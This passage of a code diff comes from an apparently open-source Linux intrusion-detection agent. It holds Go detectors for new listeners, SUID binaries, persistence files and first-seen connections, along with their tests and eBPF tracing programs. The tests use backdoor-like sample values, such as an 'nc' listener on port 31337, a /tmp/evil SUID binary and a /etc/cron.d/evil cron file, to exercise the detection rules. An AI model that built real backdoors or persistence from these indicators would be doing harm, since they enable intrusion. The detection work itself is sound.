PIDs: alertPIDs(socket.PID),
})
}
}
}
}
return alerts
}
func contains(values []string, wanted string) bool {
for _, value := range values {
if value == wanted {
return true
}
}
return false
}
func isDigits(value string) bool {
for _, char := range value {
if char < '0' || char > '9' {
return false
}
}
return true
}

View file

@ -0,0 +1,45 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestFirstSeenAlertsNewDestinationAndListener(t *testing.T) {
pid := 42
cfg := config.Default()
alerts := FirstSeen(model.State{
FirstSeenInitialized: true,
FirstSeenPublicDestinations: map[string][]string{"bash": {"1.1.1.1:443"}},
FirstSeenListenerPorts: map[string][]string{"nc": {"22"}},
Sockets: []model.Socket{
{State: "ESTAB", Peer: "8.8.8.8:4443", Comm: "bash", PID: &pid},
{State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid, Kind: "tcp"},
},
}, cfg)
if len(alerts) != 2 || alerts[0].SID != 100074 || alerts[1].SID != 100075 {
t.Fatalf("got %#v", alerts)
}
}
func TestFirstSeenUninitializedIsSilent(t *testing.T) {
cfg := config.Default()
state := model.State{
FirstSeenPublicDestinations: map[string][]string{},
FirstSeenListenerPorts: map[string][]string{},
Sockets: []model.Socket{
{State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"},
{State: "ESTAB", Peer: "8.8.8.8:443", Comm: "bash"},
},
}
if alerts := FirstSeen(state, cfg); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
if got := state.FirstSeenPublicDestinations["bash"]; len(got) != 1 || got[0] != "8.8.8.8:443" {
t.Fatalf("silent learning did not update state once: %#v", got)
}
}

View file

@ -0,0 +1,69 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"fmt"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/provenance"
)
// isPackageOwned is injectable so tests never shell out to a package manager.
var isPackageOwned = provenance.IsPackageOwned
// NewListener ports the Python new_listener detector (SID 100013).
// A nil baseline is represented by an empty fixture field and remains fail-open.
func NewListener(state model.State, cfg config.Config) []model.Alert {
if state.ListenerBaseline == nil {
return []model.Alert{}
}
baseline := make(map[string]bool, len(state.ListenerBaseline))
for _, key := range state.ListenerBaseline {
baseline[key] = true
}
processExe := make(map[int]string, len(state.Processes))
for _, process := range state.Processes {
processExe[process.PID] = process.Exe
}
alerts := make([]model.Alert, 0)
for _, socket := range state.Sockets {
if socket.State != "LISTEN" {
continue
}
// Python uses rpartition(":"): the port is everything after the last
// colon, or the whole endpoint when no colon exists. Splitting at the
// first colon would corrupt bracketed IPv6 locals such as "[::]:31337".
port := socket.Local
if index := strings.LastIndex(socket.Local, ":"); index >= 0 {
port = socket.Local[index+1:]
}
comm := socket.Comm
if comm == "" {
comm = "?"
}
key := port + "/" + comm
if baseline[key] || cfg.ListenerAllowPorts[port] || cfg.ListenerAllowComms[comm] {
continue
}
// Optional provenance gate, mirroring Python: a listener whose binary
// ships with an installed package is very likely legitimate.
if cfg.SuppressPackageOwnedListeners && socket.PID != nil {
if exe := processExe[*socket.PID]; exe != "" && isPackageOwned(exe) {
continue
}
}
alerts = append(alerts, model.Alert{
SID: 100013,
Severity: "HIGH",
Signature: "new_listener",
Classtype: "backdoor-listener",
Key: "lis:" + key,
Detail: fmt.Sprintf("new listening socket %s by comm=%s", socket.Local, comm),
PIDs: alertPIDs(socket.PID),
})
}
return alerts
}

View file

@ -0,0 +1,91 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestNewListenerAlertsUnbaselinedListener(t *testing.T) {
pid := 500
alerts := NewListener(model.State{
Sockets: []model.Socket{{
State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid,
}},
ListenerBaseline: []string{},
}, config.Default())
if len(alerts) != 1 {
t.Fatalf("got %#v", alerts)
}
if alerts[0].SID != 100013 || alerts[0].Key != "lis:31337/nc" {
t.Fatalf("unexpected alert: %#v", alerts[0])
}
}
func TestNewListenerSkipsBaselineAndAllowLists(t *testing.T) {
pid := 501
cfg := config.Default()
cfg.ListenerAllowPorts["8080"] = true
cfg.ListenerAllowComms["sshd"] = true
state := model.State{
Sockets: []model.Socket{
{State: "LISTEN", Local: "0.0.0.0:22", Comm: "sshd", PID: &pid},
{State: "LISTEN", Local: "0.0.0.0:8080", Comm: "server", PID: &pid},
{State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc", PID: &pid},
},
ListenerBaseline: []string{"31337/nc"},
}
if alerts := NewListener(state, cfg); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}
func TestNewListenerWithoutBaselineIsSilent(t *testing.T) {
state := model.State{Sockets: []model.Socket{{
State: "LISTEN", Local: "0.0.0.0:31337", Comm: "nc",
}}}
if alerts := NewListener(state, config.Default()); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}
func TestNewListenerIPv6PortUsesLastColon(t *testing.T) {
pid := 502
alerts := NewListener(model.State{
Sockets: []model.Socket{{
State: "LISTEN", Local: "[::]:31337", Comm: "nc", PID: &pid,
}},
ListenerBaseline: []string{},
}, config.Default())
if len(alerts) != 1 || alerts[0].Key != "lis:31337/nc" {
t.Fatalf("got %#v", alerts)
}
}
func TestNewListenerPackageOwnedSuppression(t *testing.T) {
saved := isPackageOwned
defer func() { isPackageOwned = saved }()
isPackageOwned = func(path string) bool { return path == "/usr/bin/qbittorrent" }
pid := 503
cfg := config.Default()
cfg.SuppressPackageOwnedListeners = true
state := model.State{
Processes: []model.Process{{PID: pid, Exe: "/usr/bin/qbittorrent"}},
Sockets: []model.Socket{{
State: "LISTEN", Local: "0.0.0.0:6881", Comm: "qbittorrent", PID: &pid,
}},
ListenerBaseline: []string{},
}
if alerts := NewListener(state, cfg); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
// The gate only applies when explicitly enabled.
cfg.SuppressPackageOwnedListeners = false
if alerts := NewListener(state, cfg); len(alerts) != 1 {
t.Fatalf("got %#v", alerts)
}
}

View file

@ -0,0 +1,49 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
// NewSUID ports the Python new_suid detector (SID 100014).
// The filesystem scan and baseline are supplied by the caller; absent values
// remain fail-open until the sidecar gains its own slow-scan persistence.
func NewSUID(state model.State, cfg config.Config) []model.Alert {
if state.SUIDBinaries == nil || state.SUIDBaseline == nil {
return []model.Alert{}
}
baseline := make(map[string]bool, len(state.SUIDBaseline))
for _, path := range state.SUIDBaseline {
baseline[path] = true
}
alerts := make([]model.Alert, 0)
for _, path := range state.SUIDBinaries {
if baseline[path] {
continue
}
hot := false
for _, directory := range cfg.SUIDHotDirs {
directory = strings.TrimRight(directory, "/")
if directory != "" && strings.HasPrefix(path, directory+"/") {
hot = true
break
}
}
severity := "HIGH"
detail := "new SUID/SGID binary: " + path
if hot {
severity = "CRITICAL"
detail = "SUID/SGID binary in writable dir: " + path
}
alerts = append(alerts, model.Alert{
SID: 100014, Severity: severity, Signature: "new_suid",
Classtype: "privilege-escalation", Key: "suid:" + path,
Detail: detail, PIDs: []int{},
})
}
return alerts
}

View file

@ -0,0 +1,29 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestNewSUIDSeverityAndBaseline(t *testing.T) {
alerts := NewSUID(model.State{
SUIDBinaries: []string{"/tmp/evil", "/usr/local/bin/newtool", "/usr/bin/sudo"},
SUIDBaseline: []string{"/usr/bin/sudo"},
}, config.Default())
if len(alerts) != 2 {
t.Fatalf("got %#v", alerts)
}
if alerts[0].Severity != "CRITICAL" || alerts[1].Severity != "HIGH" {
t.Fatalf("unexpected severities: %#v", alerts)
}
}
func TestNewSUIDWithoutScanIsSilent(t *testing.T) {
if alerts := NewSUID(model.State{SUIDBaseline: []string{"/usr/bin/sudo"}}, config.Default()); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}

View file

@ -0,0 +1,50 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"fmt"
"sort"
"strings"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
// Persistence ports the Python persistence detector (SID 100015).
// PersistenceFiles is an injectable path-to-mtime view; live filesystem
// collection remains deferred until the sidecar gains configured slow scans.
func Persistence(state model.State, cfg config.Config) []model.Alert {
if state.PersistSince == nil {
return []model.Alert{}
}
alerts := make([]model.Alert, 0)
paths := make([]string, 0, len(state.PersistenceFiles))
for path := range state.PersistenceFiles {
paths = append(paths, path)
}
sort.Strings(paths)
for _, path := range paths {
mtime := state.PersistenceFiles[path]
if mtime <= *state.PersistSince || !watchedPath(path, cfg.WatchPersistence) {
continue
}
alerts = append(alerts, model.Alert{
SID: 100015, Severity: "HIGH", Signature: "persistence",
Classtype: "persistence", Key: "persist:" + path,
Detail: fmt.Sprintf("persistence file modified: %s", path),
PIDs: []int{},
})
}
return alerts
}
func watchedPath(path string, roots []string) bool {
for _, root := range roots {
root = strings.TrimRight(root, "/")
if path == root || (root != "" && strings.HasPrefix(path, root+"/")) {
return true
}
}
return false
}

View file

@ -0,0 +1,33 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package detectors
import (
"testing"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
)
func TestPersistenceAlertsModifiedWatchedFiles(t *testing.T) {
since := 100.0
alerts := Persistence(model.State{
PersistSince: &since,
PersistenceFiles: map[string]float64{
"/etc/cron.d/evil": 101,
"/tmp/not-watched": 200,
"/etc/passwd": 99,
},
}, config.Default())
if len(alerts) != 1 || alerts[0].Key != "persist:/etc/cron.d/evil" {
t.Fatalf("got %#v", alerts)
}
}
func TestPersistenceWithoutScanIsSilent(t *testing.T) {
if alerts := Persistence(model.State{
PersistenceFiles: map[string]float64{"/etc/passwd": 200},
}, config.Default()); len(alerts) != 0 {
t.Fatalf("got %#v", alerts)
}
}

View file

@ -0,0 +1,84 @@
// SPDX-License-Identifier: GPL-3.0-or-later
#define SEC(name) __attribute__((section(name), used))
#define __uint(name, value) int (*name)[value]
typedef unsigned int u32;
typedef unsigned long long u64;
#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4
#define BPF_F_CURRENT_CPU 0xffffffffULL
struct trace_event_raw_sys_enter {
u64 _common;
long id;
unsigned long args[6];
};
// Minimal CO-RE flavor of task_struct. The loader relocates these two fields
// against the running kernel's BTF, avoiding a generated vmlinux.h dependency.
struct task_struct {
int tgid;
struct task_struct *real_parent;
} __attribute__((preserve_access_index));
struct exec_event {
u32 pid;
u32 ppid;
u32 uid;
char parent_comm[16];
char filename[128];
char arg1[128];
char arg2[128];
};
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} events SEC(".maps");
static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14;
static u64 (*bpf_get_current_uid_gid)(void) = (void *)15;
static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16;
static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112;
static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114;
static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113;
static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags,
void *data, u64 size) = (void *)25;
static u64 (*bpf_get_current_task)(void) = (void *)35;
#define bpf_core_read(dst, size, src) \
bpf_probe_read_kernel((dst), (size), \
(const void *)__builtin_preserve_access_index(src))
SEC("tracepoint/syscalls/sys_enter_execve")
int trace_execve(struct trace_event_raw_sys_enter *ctx)
{
struct exec_event event = {};
struct task_struct *task = (struct task_struct *)bpf_get_current_task();
struct task_struct *parent = 0;
const char *const *argv = (const char *const *)ctx->args[1];
const char *argument = 0;
event.pid = bpf_get_current_pid_tgid() >> 32;
event.uid = bpf_get_current_uid_gid();
bpf_core_read(&parent, sizeof(parent), &task->real_parent);
if (parent)
bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid);
bpf_get_current_comm(event.parent_comm, sizeof(event.parent_comm));
bpf_probe_read_user_str(event.filename, sizeof(event.filename),
(const void *)ctx->args[0]);
bpf_probe_read_user(&argument, sizeof(argument), &argv[1]);
if (argument)
bpf_probe_read_user_str(event.arg1, sizeof(event.arg1), argument);
argument = 0;
bpf_probe_read_user(&argument, sizeof(argument), &argv[2]);
if (argument)
bpf_probe_read_user_str(event.arg2, sizeof(event.arg2), argument);
bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event));
return 0;
}
char LICENSE[] SEC("license") = "GPL";

View file

@ -0,0 +1,212 @@
// SPDX-License-Identifier: GPL-3.0-or-later
#define SEC(name) __attribute__((section(name), used))
#define __uint(name, value) int (*name)[value]
typedef unsigned int u32;
typedef unsigned short u16;
typedef unsigned long long u64;
#define BPF_MAP_TYPE_HASH 1
#define BPF_MAP_TYPE_PERF_EVENT_ARRAY 4
#define BPF_F_CURRENT_CPU 0xffffffffULL
struct trace_event_raw_sys_enter {
u64 _common;
long id;
unsigned long args[6];
};
struct trace_event_raw_sys_exit {
u64 _common;
long id;
long ret;
};
struct task_struct {
int tgid;
struct task_struct *real_parent;
} __attribute__((preserve_access_index));
struct syscall_event {
u32 pid;
u32 ppid;
u32 uid;
u32 syscall_id;
char comm[16];
u64 args[6];
char text[80];
};
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(key_size, sizeof(u64));
__uint(value_size, sizeof(u32));
__uint(max_entries, 64);
} monitored_syscalls SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(key_size, 16);
__uint(value_size, sizeof(u32));
__uint(max_entries, 64);
} monitored_host_comms SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_HASH);
__uint(key_size, sizeof(u64));
__uint(value_size, sizeof(struct syscall_event));
__uint(max_entries, 4096);
} pending_returns SEC(".maps");
struct {
__uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY);
__uint(key_size, sizeof(u32));
__uint(value_size, sizeof(u32));
} syscall_events SEC(".maps");
static u64 (*bpf_get_current_pid_tgid)(void) = (void *)14;
static u64 (*bpf_get_current_uid_gid)(void) = (void *)15;
static long (*bpf_get_current_comm)(void *buf, u32 size) = (void *)16;
static void *(*bpf_map_lookup_elem)(void *map, const void *key) = (void *)1;
static long (*bpf_map_update_elem)(void *map, const void *key, const void *value, u64 flags) = (void *)2;
static long (*bpf_map_delete_elem)(void *map, const void *key) = (void *)3;
static long (*bpf_probe_read_user_str)(void *dst, u32 size, const void *unsafe_ptr) = (void *)114;
static long (*bpf_probe_read_user)(void *dst, u32 size, const void *unsafe_ptr) = (void *)112;
static long (*bpf_probe_read_kernel)(void *dst, u32 size, const void *unsafe_ptr) = (void *)113;
static long (*bpf_perf_event_output)(void *ctx, void *map, u64 flags,
void *data, u64 size) = (void *)25;
static u64 (*bpf_get_current_task)(void) = (void *)35;
#define bpf_core_read(dst, size, src) \
bpf_probe_read_kernel((dst), (size), \
(const void *)__builtin_preserve_access_index(src))
SEC("tracepoint/raw_syscalls/sys_enter")
int trace_sys_enter(struct trace_event_raw_sys_enter *ctx)
{
u64 syscall_number = ctx->id;
u32 *syscall_id = bpf_map_lookup_elem(&monitored_syscalls, &syscall_number);
struct syscall_event event = {};
struct task_struct *task;
struct task_struct *parent = 0;
if (!syscall_id)
return 0;
task = (struct task_struct *)bpf_get_current_task();
event.pid = bpf_get_current_pid_tgid() >> 32;
event.uid = bpf_get_current_uid_gid();
event.syscall_id = *syscall_id;
bpf_core_read(&parent, sizeof(parent), &task->real_parent);
if (parent)
bpf_core_read(&event.ppid, sizeof(event.ppid), &parent->tgid);
bpf_get_current_comm(event.comm, sizeof(event.comm));
// Canonical ID 21 covers write/writev/pwrite variants. Keep the hot path
// in-kernel and emit only for process names that can satisfy the
// persistence-write host rule.
if (*syscall_id >= 21 && *syscall_id <= 26 &&
!bpf_map_lookup_elem(&monitored_host_comms, event.comm))
return 0;
// Match the Python BCC transport's semantic argument layout rather than
// exposing pointer-only raw ABI slots in alert keys and details.
if (*syscall_id == 3) { // memfd_create(name, flags)
event.args[0] = ctx->args[1];
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[0]);
} else if (*syscall_id == 7 || *syscall_id == 8) { // process_vm_{readv,writev}
event.args[0] = ctx->args[0]; // target pid
event.args[1] = ctx->args[2]; // local iovec count
event.args[2] = ctx->args[4]; // remote iovec count
event.args[3] = ctx->args[5]; // flags
} else if (*syscall_id == 14) { // chmod(path, mode)
event.args[0] = ctx->args[1];
event.args[2] = (u64)-100; // AT_FDCWD
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[0]);
} else if (*syscall_id == 15) { // fchmodat(dirfd, path, mode)
event.args[0] = ctx->args[2];
event.args[2] = ctx->args[0];
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[1]);
} else if (*syscall_id == 16 || *syscall_id == 17) { // chown/lchown(path, uid, gid)
event.args[0] = ctx->args[1];
event.args[1] = ctx->args[2];
event.args[2] = (u64)-100; // AT_FDCWD
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[0]);
} else if (*syscall_id == 18) { // fchownat(dirfd, path, uid, gid)
event.args[0] = ctx->args[2];
event.args[1] = ctx->args[3];
event.args[2] = ctx->args[0];
bpf_probe_read_user_str(event.text, sizeof(event.text),
(const void *)ctx->args[1]);
} else if (*syscall_id == 19) { // capset(header, data[2])
u32 effective_low = 0;
u32 effective_high = 0;
const char *data = (const char *)ctx->args[1];
bpf_probe_read_user(&effective_low, sizeof(effective_low), data);
bpf_probe_read_user(&effective_high, sizeof(effective_high), data + 12);
event.args[0] = effective_low | ((u64)effective_high << 32);
} else if (*syscall_id == 22 || *syscall_id == 23) { // connect/bind(fd, sockaddr, len)
const char *address = (const char *)ctx->args[1];
u16 family = 0;
u16 port = 0;
u32 ipv4 = 0;
bpf_probe_read_user(&family, sizeof(family), address);
bpf_probe_read_user(&port, sizeof(port), address + 2);
event.args[0] = family;
event.args[3] = ctx->args[0];
#if __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__
event.args[1] = __builtin_bswap16(port);
#else
event.args[1] = port;
#endif
if (family == 2) {
bpf_probe_read_user(&ipv4, sizeof(ipv4), address + 4);
event.args[2] = ipv4;
} else if (family == 10) {
bpf_probe_read_user(event.text, 16, address + 8);
}
} else if (*syscall_id >= 24 && *syscall_id <= 26) { // listen/accept/accept4
event.args[3] = ctx->args[0];
} else {
#pragma unroll
for (int i = 0; i < 6; i++)
event.args[i] = ctx->args[i];
}
if (*syscall_id >= 21 && *syscall_id <= 26) {
u64 pid_tgid = bpf_get_current_pid_tgid();
bpf_map_update_elem(&pending_returns, &pid_tgid, &event, 0);
return 0;
}
bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU, &event, sizeof(event));
return 0;
}
SEC("tracepoint/raw_syscalls/sys_exit")
int trace_sys_exit(struct trace_event_raw_sys_exit *ctx)
{
u64 pid_tgid = bpf_get_current_pid_tgid();
struct syscall_event *event = bpf_map_lookup_elem(&pending_returns, &pid_tgid);
if (!event)
return 0;
if (event->syscall_id == 25 || event->syscall_id == 26)
event->args[3] = ctx->ret;
// Every write-family syscall returns its byte count, so the shared
// canonical event is confirmed only when at least one byte was written.
if ((event->syscall_id == 21 && ctx->ret > 0) ||
(event->syscall_id >= 22 && event->syscall_id <= 24 && ctx->ret == 0) ||
((event->syscall_id == 25 || event->syscall_id == 26) && ctx->ret >= 0))
bpf_perf_event_output(ctx, &syscall_events, BPF_F_CURRENT_CPU,
event, sizeof(*event));
bpf_map_delete_elem(&pending_returns, &pid_tgid);
return 0;
}
char LICENSE[] SEC("license") = "GPL";

View file

@ -0,0 +1,131 @@
// SPDX-License-Identifier: GPL-3.0-or-later
package ebpfsource
import (
"bytes"
"encoding/binary"
"errors"
"fmt"
"io"
"github.com/cilium/ebpf/link"
"github.com/cilium/ebpf/perf"
"github.com/cilium/ebpf/rlimit"
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
)
// ExecSource owns the Go-native exec tracepoint and perf reader. Load errors
// are returned to the caller so startup can log and fall back to polling.
type ExecSource struct {
objects execObjects
link link.Link
reader *perf.Reader
}
// execEventRaw mirrors struct exec_event in bpf/exec.bpf.c. Keeping the wire
// layout explicit makes changes to the kernel/user-space ABI reviewable.
type execEventRaw struct {
PID uint32
PPID uint32
UID uint32
ParentComm [16]int8
Filename [128]int8
Arg1 [128]int8
Arg2 [128]int8
}
// LostSamplesError reports perf-buffer pressure without making it impossible
// for the caller to continue reading later events.
type LostSamplesError struct {
Count uint64
}
func (e LostSamplesError) Error() string {
return fmt.Sprintf("exec perf buffer lost %d samples", e.Count)
}
func OpenExecSource() (*ExecSource, error) {
// Required by older kernels. On newer memcg-accounted kernels this may fail
// in an otherwise capable service sandbox, so attempt the load regardless
// and preserve both errors only when loading also fails.
memlockErr := rlimit.RemoveMemlock()
var objects execObjects
if err := loadExecObjects(&objects, nil); err != nil {
if memlockErr != nil {
return nil, fmt.Errorf("load exec BPF objects: %w (memlock adjustment: %v)", err, memlockErr)
}
return nil, fmt.Errorf("load exec BPF objects: %w", err)
}
attached, err := link.Tracepoint("syscalls", "sys_enter_execve", objects.TraceExecve, nil)
if err != nil {
objects.Close()
return nil, fmt.Errorf("attach exec tracepoint: %w", err)
}
reader, err := perf.NewReader(objects.Events, 64*4096)
if err != nil {
attached.Close()
objects.Close()
return nil, fmt.Errorf("open exec perf reader: %w", err)
}
return &ExecSource{objects: objects, link: attached, reader: reader}, nil
}
func (s *ExecSource) Read() (events.ExecEvent, error) {
record, err := s.reader.Read()
if err != nil {
return events.ExecEvent{}, err
}
if record.LostSamples != 0 {
return events.ExecEvent{}, LostSamplesError{Count: record.LostSamples}
}
return decodeExecSample(record.RawSample)
}
func decodeExecSample(sample []byte) (events.ExecEvent, error) {
var raw execEventRaw
if len(sample) != binary.Size(raw) {
return events.ExecEvent{}, fmt.Errorf("exec event size %d, want %d", len(sample), binary.Size(raw))
}
if err := binary.Read(bytes.NewReader(sample), binary.NativeEndian, &raw); err != nil {
return events.ExecEvent{}, fmt.Errorf("decode exec event: %w", err)
}
argv := make([]string, 0, 2)
if value := cString(raw.Arg1[:]); value != "" {
argv = append(argv, value)
}
if value := cString(raw.Arg2[:]); value != "" {
argv = append(argv, value)
}
return events.ExecEvent{
PID: int(raw.PID), PPID: int(raw.PPID), UID: int(raw.UID),
ParentComm: cString(raw.ParentComm[:]), Filename: cString(raw.Filename[:]),
Argv: argv,
}, nil
}
func (s *ExecSource) Close() error {
var failures []error
if s.reader != nil {
failures = append(failures, s.reader.Close())
}
if s.link != nil {
failures = append(failures, s.link.Close())
}
failures = append(failures, s.objects.Close())
return errors.Join(failures...)
}
func cString(raw []int8) string {
value := make([]byte, 0, len(raw))
for _, char := range raw {
if char == 0 {
break
}
value = append(value, byte(char))
}
return string(value)
}
var _ io.Closer = (*ExecSource)(nil)

View file

@ -0,0 +1,141 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build mips || mips64 || ppc64 || s390x
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
execMapEvents = "events"
execProgTraceExecve = "trace_execve"
)
// loadExec returns the embedded CollectionSpec for exec.
func loadExec() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_ExecBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load exec: %w", err)
}
return spec, err
}
// loadExecObjects loads exec and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *execObjects
// *execPrograms
// *execMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadExec()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// execSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execSpecs struct {
execProgramSpecs
execMapSpecs
execVariableSpecs
}
// execProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execProgramSpecs struct {
TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"`
}
// execMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execMapSpecs struct {
Events *ebpf.MapSpec `ebpf:"events"`
}
// execVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execVariableSpecs struct {
}
// execObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execObjects struct {
execPrograms
execMaps
execVariables
}
func (o *execObjects) Close() error {
return _ExecClose(
&o.execPrograms,
&o.execMaps,
)
}
// execMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execMaps struct {
Events *ebpf.Map `ebpf:"events"`
}
func (m *execMaps) Close() error {
return _ExecClose(
m.Events,
)
}
// execVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execVariables struct {
}
// execPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execPrograms struct {
TraceExecve *ebpf.Program `ebpf:"trace_execve"`
}
func (p *execPrograms) Close() error {
return _ExecClose(
p.TraceExecve,
)
}
func _ExecClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed exec_bpfeb.o
var _ExecBytes []byte

Binary file not shown.

View file

@ -0,0 +1,141 @@
// Code generated by bpf2go; DO NOT EDIT.
//go:build 386 || amd64 || arm || arm64 || loong64 || mips64le || mipsle || ppc64le || riscv64 || wasm
package ebpfsource
import (
"bytes"
_ "embed"
"fmt"
"io"
"github.com/cilium/ebpf"
)
// Names of all BPF objects in the ELF.
//
// Used for safe lookups in a Collection or CollectionSpec.
const (
execMapEvents = "events"
execProgTraceExecve = "trace_execve"
)
// loadExec returns the embedded CollectionSpec for exec.
func loadExec() (*ebpf.CollectionSpec, error) {
reader := bytes.NewReader(_ExecBytes)
spec, err := ebpf.LoadCollectionSpecFromReader(reader)
if err != nil {
return nil, fmt.Errorf("can't load exec: %w", err)
}
return spec, err
}
// loadExecObjects loads exec and converts it into a struct.
//
// The following types are suitable as obj argument:
//
// *execObjects
// *execPrograms
// *execMaps
//
// See ebpf.CollectionSpec.LoadAndAssign documentation for details.
func loadExecObjects(obj any, opts *ebpf.CollectionOptions) error {
spec, err := loadExec()
if err != nil {
return err
}
return spec.LoadAndAssign(obj, opts)
}
// execSpecs contains maps and programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execSpecs struct {
execProgramSpecs
execMapSpecs
execVariableSpecs
}
// execProgramSpecs contains programs before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execProgramSpecs struct {
TraceExecve *ebpf.ProgramSpec `ebpf:"trace_execve"`
}
// execMapSpecs contains maps before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execMapSpecs struct {
Events *ebpf.MapSpec `ebpf:"events"`
}
// execVariableSpecs contains global variables before they are loaded into the kernel.
//
// It can be passed ebpf.CollectionSpec.Assign.
type execVariableSpecs struct {
}
// execObjects contains all objects after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execObjects struct {
execPrograms
execMaps
execVariables
}
func (o *execObjects) Close() error {
return _ExecClose(
&o.execPrograms,
&o.execMaps,
)
}
// execMaps contains all maps after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execMaps struct {
Events *ebpf.Map `ebpf:"events"`
}
func (m *execMaps) Close() error {
return _ExecClose(
m.Events,
)
}
// execVariables contains all global variables after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execVariables struct {
}
// execPrograms contains all programs after they have been loaded into the kernel.
//
// It can be passed to loadExecObjects or ebpf.CollectionSpec.LoadAndAssign.
type execPrograms struct {
TraceExecve *ebpf.Program `ebpf:"trace_execve"`
}
func (p *execPrograms) Close() error {
return _ExecClose(
p.TraceExecve,
)
}
func _ExecClose(closers ...io.Closer) error {
for _, closer := range closers {
if err := closer.Close(); err != nil {
return err
}
}
return nil
}
// Do not access this directly.
//
//go:embed exec_bpfel.o
var _ExecBytes []byte

